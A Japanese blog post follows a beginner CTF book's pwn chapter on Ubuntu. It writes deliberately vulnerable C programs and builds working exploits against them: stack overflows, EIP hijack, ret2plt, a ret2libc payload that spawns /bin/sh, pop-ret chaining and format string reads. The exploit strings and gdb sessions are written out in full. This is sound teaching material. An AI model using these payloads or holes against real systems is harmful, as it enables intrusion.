ネズミ本のpwn編をやってみた。
概要
かの有名なCTFの書籍であるネズミ本のPwn編をやってみただけのエントリーである。
環境
Ubuntu 14.04 LTS
脆弱性を探す
ユーザ入力を扱う関数
ユーザ入力を扱う関数では入力をメモリに配置するため入力がバッファサイズを超過するとバッファオーバーフローの脆弱性に繋がることがある。
#include <stdio.h>
int main(int argc, char *argv[]) {
char buffer[100];
fgets(buffer, 128, stdin);
return 0;
}
バッファが100バイトに対して入力は最大で128バイト行うことができる。
SSP(stack smash protection: バッファオーバーフロー攻撃を検出する機能であり, スタックにcanary (カナリア) と呼ばれる値をセットする. バッファオーバーフロー攻撃によりこのcanaryが書き換えられたとき, エラー終了する)を無効にしコンパイルする。
$ gcc -m32 -fno-stack-protector -o bof ./bof.c
実行。
$ python -c 'print("CTF for Beginners")' | ./bof
$
通常実行は問題ない。 次はバッファに収まらないサイズで入力を渡してみる。
$ python -c 'print("A" * 128)' | ./bof
Segmentation fault
セグメンテーションフォールトが発生した。
次にどういった問題でプログラムが停止したかを調べるためにstraceコマンドを使用する。"-i"オプションでプログラムのIPを表示する。
$ python -c 'print("A" * 128)' | strace -i ./bof
[00007fc19e26a137] execve("./bof", ["./bof"], [/* 19 vars */]) = 0
[ Process PID=30300 runs in 32 bit mode. ]
[f7742ee9] brk(0) = 0x9b64000
[f7744a81] access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
[f7744b53] mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7729000
[f7744a81] access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
[f7744984] open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
[f774490d] fstat64(3, {st_mode=S_IFREG|0644, st_size=38761, ...}) = 0
[f7744b53] mmap2(NULL, 38761, PROT_READ, MAP_PRIVATE, 3, 0) = 0xfffffffff771f000
[f7744afd] close(3) = 0
[f7744a81] access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
[f7744984] open("/lib32/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
[f77449c4] read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0000\234\1\0004\0\0\0"..., 512) = 512
[f774490d] fstat64(3, {st_mode=S_IFREG|0755, st_size=1750780, ...}) = 0
[f7744b53] mmap2(NULL, 1759868, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xfffffffff7571000
[f7744b53] mmap2(0xf7719000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1a7000) = 0xfffffffff7719000
[f7744b53] mmap2(0xf771c000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xfffffffff771c000
[f7744afd] close(3) = 0
[f7744b53] mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7570000
[f772dd6b] set_thread_area(0xffd02a00) = 0
[f7744bd4] mprotect(0xf7719000, 8192, PROT_READ) = 0
[f7744bd4] mprotect(0x8049000, 4096, PROT_READ) = 0
[f7744bd4] mprotect(0xf774d000, 4096, PROT_READ) = 0
[f7744b91] munmap(0xf771f000, 38761) = 0
[f772cc90] fstat64(0, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
[f772cc90] mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7728000
[f772cc90] read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 4096) = 129
[41414141] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x41414141} ---
[????????????????] +++ killed by SIGSEGV +++
Segmentation fault
セグメンテーションフォールトが発生した時点でのIPは"41414141"となっている。 これは"A"の文字コードなのでEIPを奪った状態だと言える。
printf系関数の書式文字列
次のコードは書式文字列攻撃の脆弱性を含んでいる。 書式文字列攻撃とはユーザ入力をprintf関数でそのまま表示する時に可能となり、渡された入力が書式文字列だった場合printf関数が引数としてスタックの値を読みだしてしまうというものだ。
#include <stdio.h>
int main(int argc, char *argv[]) {
char str[128];
fgets(str, 128, stdin);
printf("Hello, ");
printf(str);
return 0;
}
コンパイルする。
$ gcc -m32 -fno-stack-protector -o format -Wformat-security format.c
format.c: In function ‘main’:
format.c:7:5: warning: format not a string literal and no format arguments [-Wformat-security]
printf(str);
^
警告が出力されたがコンパイルに成功した。 実行してみる。
$ ./format %x,%x,%x,%x,%x,%x,%x,%x,%x Hello, 80,f778dc20,0,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c
実行時に書式文字列を渡すとprintf関数が当該文字列をパースしスタックの引数があるはずの場所から値を読み込んでいるのがわかる。
エクスプロイト
事前にASLR(### Address Space Layout Randomization: スタックやヒープなど, 重要なデータ領域のアドレスをランダムにするセキュリティ機構)を無効にする。
$ sudo sysctl -w kernel.randomize_va_space=0
スタックベースバッファオーバーフロー
基本の考え方はスタックを破壊するということ。 今回はローカル変数を破壊する。
以下のコードは2つのローカル変数のアドレスとバッファオーバーフロー後に片方の変数の値を表示するプログラムを用意する。
#include <stdio.h>
int main(int argc, char *argv[]) {
int zero = 0;
char buffer[10];
printf("buffer address\t= %x\n", (int)buffer);
printf("zero address\t= %x\n", (int)&zero);
fgets(buffer, 64, stdin);
printf("zero = %d\n", zero);
return 0;
}
$ gcc -m32 -fno-stack-protector -o bof1 bof1.c
1回目、入力する文字列を10文字以内にして実行する。
$ ./bof1 buffer address = ffffd722 zero address = ffffd72c ctf4b zero = 0
2回目は10文字以上の文字列を入力する。
$ ./bof1 buffer address = ffffd722 zero address = ffffd72c AAAAAAAAAAAAAAAA zero = 1094795585
1回目の実行では"ctf4b"(5バイト+改行コード=計6バイト)を入力したのでbuffer変数の10バイトに収まっておりバッファオーバーフローは発生していない。 2回目の実行では"AAAAAAAAAAAAAAAA"(16バイト+改行コード=計17バイト)を入力したため10バイトに対して7バイトオーバーしている。 計算してみると以下のようになる。
0xffffd2c2 + 0x11 = 0xffffd2d3
出力結果をみるとzero変数のアドレスを跨いでいることがわかる。
さっきの、zero = 1094795585というのはどこからきた数字なのかを考えてみる。 先ほどの入力した'AAAAAAAAAAAAAAAA'をint型として'AAAA'(int型なので4バイト)と考えると
'AAAA' = 0x41414141 = 1094795585
となり、入力された文字列が関係していることがわかり、調節すればzero変数を任意の値に書き換えられることがわかると思う。
以下のプログラムはzero変数の値が0x12345678の場合、"Congratulation !!"と表示されるようになっている。
#include <stdio.h>
int main(int argc, char *argv[]) {
char buffer[10];
int zero = 0;
fgets(buffer, 64, stdin);
printf("zero = %x\n", zero);
if (zero == 0x12345678) {
printf("Congratulations !!\n");
}
return 0;
}
コンパイルする。
$ gcc -m32 -fno-stack-protector -o bof2
zero変数のアドレスはbuffer変数のすぐしたに配置されていたので、'A'を10バイト入力してからすぐにzero変数に設定したい値をリトルエンディアンで入力すればzero変数の値を書き換えられる。
一回目は普通に実行。
$ ./bof2 hello zero = 0
2回目はzero変数を書き換えるように入力文字列をプログラムに渡す。
$ echo -e 'AAAAAAAAAA\x78\x56\x34\x12' | ./bof2 zero = 12345678 Congratulations !!
見事に書き換えに成功している。
リターンアドレスの書き換え
ここでは以下のコードを使用する。
#include <stdio.h>
#include <string.h>
char buffer[32];
int main(int argc, char *argv[]) {
char local[32];
printf("buffer: 0x%x\n", &buffer);
fgets(local, 128, stdin);
strcpy(buffer, local);
return 0;
}
コンパイルし通常実行する。
$ ./bof3 buffer: 0x804a060 ctf4b
次に大量の文字列を入力する。
$ ./bof3 buffer: 0x804a060 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault
次にgdbでセグメンテーションフォールトを起こした際の状態を確認する。 gdbを起動しセグメンテーションフォールトを発生させるとレジスタやスタックの値が表示される。(実際はカラーで表示されとても見やすくなっている)
$ gdb -q bof3
Reading symbols from bof3...(no debugging symbols found)...done.
gdb-peda$ r
Starting program: /home/ubuntu/bof3
buffer: 0x804a060
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
[---------------------------------------------registers---------------------------------------------]
EAX: 0x0
EBX: 0xf7fca000 --> 0x1a9da8
ECX: 0xffffd6d0 --> 0xa4141 (b'AA\n')
EDX: 0x804a0a0 --> 0xa4141 (b'AA\n')
ESI: 0x0
EDI: 0x0
EBP: 0x41414141 (b'AAAA')
ESP: 0xffffd6c0 ('A' <repeats 15 times>...)
EIP: 0x41414141 (b'AAAA')
[-----------------------------------------------code------------------------------------------------]
Invalid $PC address: 0x41414141
[-----------------------------------------------stack-----------------------------------------------]
00:0000| esp 0xffffd6c0 ('A' <repeats 15 times>...)
01:0004| 0xffffd6c4 ('A' <repeats 14 times>, "\n")
02:0008| 0xffffd6c8 ("AAAAAAAAAA\n")
03:0012| 0xffffd6cc ("AAAAAA\n")
04:0016| ecx 0xffffd6d0 --> 0xa4141 (b'AA\n')
05:0020| 0xffffd6d4 --> 0xffffd754 --> 0xffffd888 ("/home/ubuntu/bo"...)
06:0024| 0xffffd6d8 --> 0xffffd6f4 --> 0xe66eeb66
07:0028| 0xffffd6dc --> 0x804a01c --> 0xf7e399e0 (<__libc_start_main>: push ebp)
[---------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()
上記の値をみると入力した文字列でEIPが上書きされていることがわかる。 次にgdb-peda(https://github.com/longld/peda)の機能であるpattern-createを使用して入力の何文字目がEIPに入っているかを確認する。
gdb-pedaのpattern_createで文字列のパターンを生成し、それを入力文字列に使用する。
gdb-peda$ pattern_create 50
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
gdb-peda$ r
Starting program: /home/ubuntu/bof3
buffer: 0x804a060
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA
Program received signal SIGSEGV, Segmentation fault.
[-----------------------------------------------------------registers-----------------------------------------------------------]
EAX: 0x0
EBX: 0xf7fca000 --> 0x1a9da8
ECX: 0xffffd6c0 --> 0xa4162 (b'bA\n')
EDX: 0x804a090 --> 0xa4162 (b'bA\n')
ESI: 0x0
EDI: 0x0
EBP: 0x41304141 (b'AA0A')
ESP: 0xffffd6c0 --> 0xa4162 (b'bA\n')
EIP: 0x41414641 (b'AFAA')
[-------------------------------------------------------------code--------------------------------------------------------------]
Invalid $PC address: 0x41414641
[-------------------------------------------------------------stack-------------------------------------------------------------]
00:0000| ecx esp 0xffffd6c0 --> 0xa4162 (b'bA\n')
01:0004| 0xffffd6c4 --> 0xffffd754 --> 0xffffd888 ("/home/ubuntu/bo"...)
02:0008| 0xffffd6c8 --> 0xffffd75c --> 0xffffd89a ("XDG_SESSION_ID="...)
03:0012| 0xffffd6cc --> 0xf7feae6a (add ebx,0x12196)
04:0016| 0xffffd6d0 --> 0x1
05:0020| 0xffffd6d4 --> 0xffffd754 --> 0xffffd888 ("/home/ubuntu/bo"...)
06:0024| 0xffffd6d8 --> 0xffffd6f4 --> 0x3366d0e9
07:0028| 0xffffd6dc --> 0x804a01c --> 0xf7e399e0 (<__libc_start_main>: push ebp)
[-------------------------------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
Stopped reason: SIGSEGV
0x41414641 in ?? ()
EIPに'AFAA'の文字が入っていることがわかる。 これをpedaに投げると何文字目であるかを教えてくれる。
gdb-peda$ patto AFAA AFAA found at offset: 44
44文字目(0番目スタート)のようだ。
今回はとりあえず処理がmain関数の先頭に遷移するようにEIPを書き換えたいと思う。 下記にobjdumpの結果を示す。
0804849d <main>: 804849d: push ebp 804849e: mov ebp,esp 80484a0: and esp,0xfffffff0 80484a3: sub esp,0x30 80484a6: mov DWORD PTR [esp+0x4],0x804a060 80484ae: mov DWORD PTR [esp],0x8048590 80484b5: call 8048350 <printf@plt> 80484ba: mov eax,ds:0x804a040 80484bf: mov DWORD PTR [esp+0x8],eax 80484c3: mov DWORD PTR [esp+0x4],0x80 80484cb: lea eax,[esp+0x10] 80484cf: mov DWORD PTR [esp],eax 80484d2: call 8048360 <fgets@plt> 80484d7: lea eax,[esp+0x10] 80484db: mov DWORD PTR [esp+0x4],eax 80484df: mov DWORD PTR [esp],0x804a060 80484e6: call 8048370 <strcpy@plt> 80484eb: mov eax,0x0 80484f0: leave 80484f1: ret 80484f2: xchg ax,ax 80484f4: xchg ax,ax 80484f6: xchg ax,ax 80484f8: xchg ax,ax 80484fa: xchg ax,ax 80484fc: xchg ax,ax 80484fe: xchg ax,ax
main関数のアドレスは'0804849d'なのでリトルエンディアンに直して
0804849d -> \x9d\x84\x04\x08
上記を踏まえると攻撃文字列は以下のようになる。
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x9d\x84\x04\x08
実行する。
$ echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x9d\x84\x04\x08' | ./bof3 buffer: 0x804a060 buffer: 0x804a060 Segmentation fault
'buffer'という文字列が2回出力されている。 今回はスタックの値を上書きしリターンアドレスを書き換えてしまったのでセグメンテーションフォールトが出ているが実際の攻撃では検知されないようにうまく処理を継続させる必要がある。
Return to PLT (ret2plt)
EIPを奪った後の攻撃方法の1つとして、Return to PLTが挙げられる。 PLTはProcedure Linkage Tableの略でPLTに書かれた短いコード片を関数として呼び出すと動的リンクされたライブラリのアドレスを解決してライブラリ内の関数を実行してくれるというもの。リターンアドレスをPLTに存在する関数を指すように書き換えてしまえば動的リンクされたライブラリの関数を呼び出すことができる。これを行うのがReturn to PLTである。
以下がbof3のPLTのセクションになる。
$ objdump -d -M intel -j .plt --no bof3
bof3: file format elf32-i386
Disassembly of section .plt:
08048340 <printf@plt-0x10>:
8048340: push DWORD PTR ds:0x804a004
8048346: jmp DWORD PTR ds:0x804a008
804834c: add BYTE PTR [eax],al
...
08048350 <printf@plt>:
8048350: jmp DWORD PTR ds:0x804a00c
8048356: push 0x0
804835b: jmp 8048340 <_init+0x28>
08048360 <fgets@plt>:
8048360: jmp DWORD PTR ds:0x804a010
8048366: push 0x8
804836b: jmp 8048340 <_init+0x28>
08048370 <strcpy@plt>:
8048370: jmp DWORD PTR ds:0x804a014
8048376: push 0x10
804837b: jmp 8048340 <_init+0x28>
08048380 <__gmon_start__@plt>:
8048380: jmp DWORD PTR ds:0x804a018
8048386: push 0x18
804838b: jmp 8048340 <_init+0x28>
08048390 <__libc_start_main@plt>:
8048390: jmp DWORD PTR ds:0x804a01c
8048396: push 0x20
804839b: jmp 8048340 <_init+0x28>
次にPLT内に存在し且つ呼び出しを簡単に確認することができるprintf関数を呼び出したいと思う。 main関数の最後にコールされるreturn命令で任意の処理に遷移させる場合、今回であればprintf関数を呼ぶ場合、スタックの状態は以下のようになる。
| スタック |
|---|
| 下位アドレス(0x00000000) |
| : |
| 関数アドレス(= リターンアドレス = 0x08048350 = printf@plt ) |
| printf関数呼び出し後のリターンアドレス(= 0x42424242 = ダミーアドレス) |
| printf関数の第一引数(= 0x804a060 = buffer変数のアドレス) |
| : |
| 上位アドレス(0xFFFFFFFF) |
上位の状態を実現するための攻撃文字列は以下となる。 (アドレスはリトルエンディアンのため上記の表とは表記が逆になる)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x50\x83\x04\x08BBBB\x60\xa0\x04\x08
では実際に実行。
$ echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x50\x83\x04\x08BBBB\x60\xa0\x04\x08" | ./bof3 buffer: 0x804a060 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPBBBB`� Segmentation fault
上記では呼ばれないはずのprintf関数が呼ばれbufferの文字列が表示されているのがわかる。
Return to libc (ret2libc)
Return to PLTではリターンアドレスを書き換えてPLTに存在する関数を呼び出したがsystem関数等がなければシェルを起動することはできない。ここでは実行ファイルにリンクされているlibc内に存在する関数を呼びだす。libcはC言語の標準ライブラリでprintfやfgetsといったプログラムで呼び出している関数はlibcで定義されている。 だた動的ライブラリはASPLの影響を受けるため起動するたびに配置アドレスが変更される。ASLRの回避方法については後ほどやるので、ここではASLRを無効の状態で行う。
$ gdb -q bof3
Reading symbols from bof3...(no debugging symbols found)...done.
gdb-peda$ b main
Breakpoint 1 at 0x80484a0
gdb-peda$ r
Starting program: /home/ubuntu/bof3
[-----------------------------------------------------------registers-----------------------------------------------------------]
EAX: 0x1
EBX: 0xf7fca000 --> 0x1a9da8
ECX: 0xd3d2b964
EDX: 0xffffd6e4 --> 0xf7fca000 --> 0x1a9da8
ESI: 0x0
EDI: 0x0
EBP: 0xffffd6b8 --> 0x0
ESP: 0xffffd6b8 --> 0x0
EIP: 0x80484a0 (<main+3>: and esp,0xfffffff0)
[-------------------------------------------------------------code--------------------------------------------------------------]
0x8048498 <frame_dummy+40>: jmp 0x8048410 <register_tm_clones>
0x804849d <main>: push ebp
0x804849e <main+1>: mov ebp,esp
=> 0x80484a0 <main+3>: and esp,0xfffffff0
0x80484a3 <main+6>: sub esp,0x30
0x80484a6 <main+9>: mov DWORD PTR [esp+0x4],0x804a060
0x80484ae <main+17>: mov DWORD PTR [esp],0x8048590
0x80484b5 <main+24>: call 0x8048350 <printf@plt>
[-------------------------------------------------------------stack-------------------------------------------------------------]
00:0000| ebp esp 0xffffd6b8 --> 0x0
01:0004| 0xffffd6bc --> 0xf7e39ad3 (<__libc_start_main+243>: mov DWORD PTR [esp],eax)
02:0008| 0xffffd6c0 --> 0x1
03:0012| 0xffffd6c4 --> 0xffffd754 --> 0xffffd888 ("/home/ubuntu/bo"...)
04:0016| 0xffffd6c8 --> 0xffffd75c --> 0xffffd89a ("XDG_SESSION_ID="...)
05:0020| 0xffffd6cc --> 0xf7feae6a (add ebx,0x12196)
06:0024| 0xffffd6d0 --> 0x1
07:0028| 0xffffd6d4 --> 0xffffd754 --> 0xffffd888 ("/home/ubuntu/bo"...)
[-------------------------------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
Breakpoint 1, 0x080484a0 in main ()
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e5fe70 <system>
上記からsystem関数は0xf7e5fe70に存在することが確認できた。 system関数は第一引数に文字列を指定する必要があるのでbufferのアドレスを指定する。 スタックの状態は以下となる。
| スタック |
|---|
| 下位アドレス(0x00000000) |
| : |
| 関数アドレス(= リターンアドレス = 0xf7e5fe70 = system ) |
| 関数呼び出し後のリターンアドレス(= 0x42424242 = ダミーアドレス) |
| 関数の第一引数(= 0x804a060 = buffer変数のアドレス) |
| : |
| 上位アドレス(0xFFFFFFFF) |
今回system関数に渡す引数になるbuffer変数にはコマンドとして実行できる文字列を渡す必要があるので実行する文字列は以下となる。
echo -e '/bin/sh\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x70\xfe\xe5\xf7BBBB\x60\xa0\x04\x08'
'/bin/sh'という文字列の後に'\x00'を置いたのは引数がNULL文字で終端しなければならないという制約があるためである。 上記のようにすることによってsystem関数の引数は'/bin/sh'という文字列のみが認識され後ろに続く文字は無視される。
他にも'/bin/sh'の後に'#'を入れ後ろの文字列をコメントアウトするという方法もある。
echo -e '/bin/sh # AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x70\xfe\xe5\xf7BBBB\x60\xa0\x04\x08'
加えて今回は入力文字列と共に下記のような入力方法を行う。
(ehco -e '...'; cat) | ./bof3
これはechoコマンドで文字列を出力した後、catを実行し標準入力から入力されたものをbof3にパイプするというもので、ローカルエクスプロイトを行う際は簡単な書き方なので覚えておきたい。
上記を踏まえ実行してみる。
$ (echo -e '/bin/sh\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x70\xfe\xe5\xf7BBBB\x60\xa0\x04\x08'; cat) | ./bof3 buffer: 0x804a060 ls -l total 72 drwxrwxr-x 2 ubuntu ubuntu 4096 Feb 14 14:56 bin -rwxrwxr-x 1 ubuntu ubuntu 7332 Feb 13 16:03 bof -rwxrwxr-x 1 ubuntu ubuntu 7371 Feb 13 16:41 bof1 -rw-rw-r-- 1 ubuntu ubuntu 257 Feb 13 16:41 bof1.c -rwxrwxr-x 1 ubuntu ubuntu 7407 Feb 13 17:28 bof2 -rw-rw-r-- 1 ubuntu ubuntu 224 Feb 13 17:28 bof2.c -rwxrwxr-x 1 ubuntu ubuntu 7432 Feb 13 17:59 bof3 -rw-rw-r-- 1 ubuntu ubuntu 225 Feb 13 17:59 bof3.c -rw-rw-r-- 1 ubuntu ubuntu 124 Feb 13 16:03 bof.c -rwxrwxr-x 1 ubuntu ubuntu 7373 Feb 13 16:25 format -rw-rw-r-- 1 ubuntu ubuntu 158 Feb 13 16:24 format.c drwxrwxr-x 4 ubuntu ubuntu 4096 Feb 14 14:55 peda -rw-rw-r-- 1 ubuntu ubuntu 11 Feb 15 16:30 peda-session-bof3.txt exit Segmentation fault
実際にシェルが起動しており、'ls -l'の結果が返ってきているのがわかる。
ret2plt、ret2libcの後にもう1度関数を呼ぶ (popret gadget)
先ほどのReturn to PLT/libcでは関数呼び出し後のリターンアドレスにダミーアドレスを指定指定していたが、この部分に関数のアドレスを指定すれば複数の関数を一度に呼び出すことができそうである。ただスタックの状態を以下のようにする必要がある。
| スタック |
|---|
| 下位アドレス(0x00000000) |
| : |
| 関数1のアドレス |
| 関数1のリターンアドレス(= 関数2のアドレス) |
| 関数1の引数1(= 関数2のリターンアドレス) |
| 関数1の引数2(= 関数2の引数1) |
| 関数1の引数3(= 関数2の引数2) |
| : |
| 上位アドレス(0xFFFFFFFF) |
ここで使用するのがpopret gadgetの考え方である。実行ファイルの中にはpopを数回行った後にretするという処理(gadget)が多く現れる。pop命令はスタックから1つデータを取り出すという処理を行うので関数を呼び出すために使用した引数をpopしてからretすればスタックポインタの位置をずらすことができる。
| SP | スタック |
|---|---|
| 下位アドレス(0x00000000) | |
| : | |
| 関数1のアドレス | |
| 関数1のリターンアドレス(= pop pop pop ret) | |
| pop↓ | 関数1の引数1 |
| pop↓ | 関数1の引数2 |
| pop↓ | 関数1の引数3 |
| ret→ | 関数2のアドレス |
| 関数2のリターンアドレス | |
| 関数2の引数1 | |
| 関数2の引数2 | |
| : | |
| 上位アドレス(0xFFFFFFFF) |
実際にbof3を用いて2つの関数を呼び出してみる。 今回はrp++(https://github.com/0vercl0k/rp)を使用してgadgetを見つける。
$ rp -f bof3 -r 1 | grep pop 0x0804855f: pop ebp ; ret ; (1 found) 0x08048339: pop ebx ; ret ; (1 found) 0x08048586: pop ebx ; ret ; (1 found)
popの直後にretがあるgadgetを探すために'-r 1'オプションを付け、さらにgrepでpopを含む行のみを抽出した。 上記の出力から目的のgadgetは3つあるようなので、その中の1つである'0x0804855f'を使用する。
2番目にexit関数を呼び出す。 これはSegment Faultを起こす前にexitを実行することでプログラムを正常終了することができる。 以下でexit関数のアドレスを調査する。
$ gdb -q bof3
Reading symbols from bof3...(no debugging symbols found)...done.
gdb-peda$ b main
Breakpoint 1 at 0x80484a0
gdb-peda$ r
Starting program: /home/ubuntu/bof3
[-----------------------------------------------------------registers-----------------------------------------------------------]
EAX: 0x1
EBX: 0xf7fca000 --> 0x1a9da8
ECX: 0xcacf3648
EDX: 0xffffd6e4 --> 0xf7fca000 --> 0x1a9da8
ESI: 0x0
EDI: 0x0
EBP: 0xffffd6b8 --> 0x0
ESP: 0xffffd6b8 --> 0x0
EIP: 0x80484a0 (<main+3>: and esp,0xfffffff0)
[-------------------------------------------------------------code--------------------------------------------------------------]
0x8048498 <frame_dummy+40>: jmp 0x8048410 <register_tm_clones>
0x804849d <main>: push ebp
0x804849e <main+1>: mov ebp,esp
=> 0x80484a0 <main+3>: and esp,0xfffffff0
0x80484a3 <main+6>: sub esp,0x30
0x80484a6 <main+9>: mov DWORD PTR [esp+0x4],0x804a060
0x80484ae <main+17>: mov DWORD PTR [esp],0x8048590
0x80484b5 <main+24>: call 0x8048350 <printf@plt>
[-------------------------------------------------------------stack-------------------------------------------------------------]
00:0000| ebp esp 0xffffd6b8 --> 0x0
01:0004| 0xffffd6bc --> 0xf7e39ad3 (<__libc_start_main+243>: mov DWORD PTR [esp],eax)
02:0008| 0xffffd6c0 --> 0x1
03:0012| 0xffffd6c4 --> 0xffffd754 --> 0xffffd888 ("/home/ubuntu/bo"...)
04:0016| 0xffffd6c8 --> 0xffffd75c --> 0xffffd89a ("XDG_SESSION_ID="...)
05:0020| 0xffffd6cc --> 0xf7feae6a (add ebx,0x12196)
06:0024| 0xffffd6d0 --> 0x1
07:0028| 0xffffd6d4 --> 0xffffd754 --> 0xffffd888 ("/home/ubuntu/bo"...)
[-------------------------------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
Breakpoint 1, 0x080484a0 in main ()
gdb-peda$ p exit
$1 = {<text variable, no debug info>} 0xf7e52f50 <exit>
exit関数が'0xf7e52f50'に配置されていることわかった。
ここでsystem関数を実行した後、exit(0)を実行するためにはスタックを以下のように配置しなければならない。
| SP | スタック |
|---|---|
| 下位アドレス(0x00000000) | |
| : | |
| main関数のリターンアドレス(= system関数のアドレス = 0xf7e5fe70) | |
| system関数のリターンアドレス(= popret = 0x0804855f) | |
| pop↓ | system関数の第1引数(= buffer変数のアドレス = 0x804a060) |
| ret→ | exit関数のアドレス(= 0xf7e52f50) |
| exit関数のリターンアドレスアドレス(= ダミーアドレス = 0x42424242) | |
| exit関数の第1引数(= 0) | |
| : | |
| 上位アドレス(0xFFFFFFFF) |
上記を踏まえるとbof3に渡す文字列は以下となる。(上記に示したスタックの状態をリトルエンディアンで並べたもの)
/bin/sh\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x70\xfe\xe5\xf7\x5f\x85\x04\x08\x60\xa0\x04\x08\x50\x2f\xe5\xf7\x42\x42\x42\x42\x00\x00\x00\x00
実行してみる。
$ (echo -e '/bin/sh\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x70\xfe\xe5\xf7\x5f\x85\x04\x08\x60\xa0\x04\x08\x50\x2f\xe5\xf7\x42\x42\x42\x42\x00\x00\x00\x00'; cat) | ./bof3 buffer: 0x804a060 ls -l total 72 drwxrwxr-x 2 ubuntu ubuntu 4096 Feb 15 18:04 bin -rwxrwxr-x 1 ubuntu ubuntu 7332 Feb 13 16:03 bof -rwxrwxr-x 1 ubuntu ubuntu 7371 Feb 13 16:41 bof1 -rw-rw-r-- 1 ubuntu ubuntu 257 Feb 13 16:41 bof1.c -rwxrwxr-x 1 ubuntu ubuntu 7407 Feb 13 17:28 bof2 -rw-rw-r-- 1 ubuntu ubuntu 224 Feb 13 17:28 bof2.c -rwxrwxr-x 1 ubuntu ubuntu 7432 Feb 13 17:59 bof3 -rw-rw-r-- 1 ubuntu ubuntu 225 Feb 13 17:59 bof3.c -rw-rw-r-- 1 ubuntu ubuntu 124 Feb 13 16:03 bof.c -rwxrwxr-x 1 ubuntu ubuntu 7373 Feb 13 16:25 format -rw-rw-r-- 1 ubuntu ubuntu 158 Feb 13 16:24 format.c drwxrwxr-x 4 ubuntu ubuntu 4096 Feb 14 14:55 peda -rw-rw-r-- 1 ubuntu ubuntu 11 Feb 15 18:18 peda-session-bof3.txt exit
実際に実行するとSegment faultを起こしていないことがわかる。 これで2つの関数を同時に呼び出せるようになった。
Return Oriented Programming (ROP)
ROPは上記で行ったものを発展させたものでNX bit(NXビットに対応したシステムでメモリ領域の特定のビットに「ここはデータ領域である」という印をつけておくことにより、クラッカーなどがプログラムを送り込んできてもOSがそれを検知して実行できないようにすること)が有効でシェルコードを注入できない場合では非常に強力な手法となる。メモリの実行可能部分からgadgetと呼ばれるコード片を集取して繋げることでプログラミングを行う。
書式文字列攻撃
書式文字列攻撃とはprintfやsprintf関数の書式文字列部分にユーザの入力文字列が入っている場合に有効な攻撃方法である。当該攻撃方法ではメモリの読み書きしか行えないのでEIPを奪うために上手にメモリを書き換える必要がある。
書式文字列攻撃には以下のソースコードを使用する。
#include <stdio.h>
int secret = 0x12345678;
int main(int argc, char *argv[]) {
char str[128];
fgets(str, 128, stdin);
printf(str);
printf("secret = 0x%x\n", secret);
return 0;
}
コンパイルすると警告が出力されるが問題なく通った。
$ gcc -m32 -o fsb fsb.c
fsb.c: In function ‘main’:
fsb.c:7:5: warning: format not a string literal and no format arguments [-Wformat-security]
printf(str);
^
試しにこのプログラムの入力に以下の文字列を入力する。
$ ./fsb AAAA%p,%p,%p,%p,%p,%p,%p,%p,%p, AAAA0x80,0xf7fcac20,0xffffd794,(nil),(nil),(nil),0x41414141,0x252c7025,0x70252c70, secret = 0x12345678
%pは対応する引数の値をvoid*型として16進数で表示する。printfに渡された書式文字列内で指定があった引数が存在していない場合、スタック上で引数があるはずの位置に存在している場所から値を読み込む。 出力されているデータを見ると0x41414141(AAAA)や0x252c7025(%p,%)が存在することが確認でき、ローカル変数の領域まで%pで表示してしまっていることがわかる。
任意のアドレスからの読み込み
先ほどの出力を確認すると7番目に入力された'AAAA'が表示されていることがわかる。これを次は指定した値を文字列として出力する%sを使用して出力したいと思う。今回7番目の値を表示したいので'%n$s'という文字列を渡す。(n番目の値を指定している)
$ ./fsb AAAA%7$s Segmentation fault
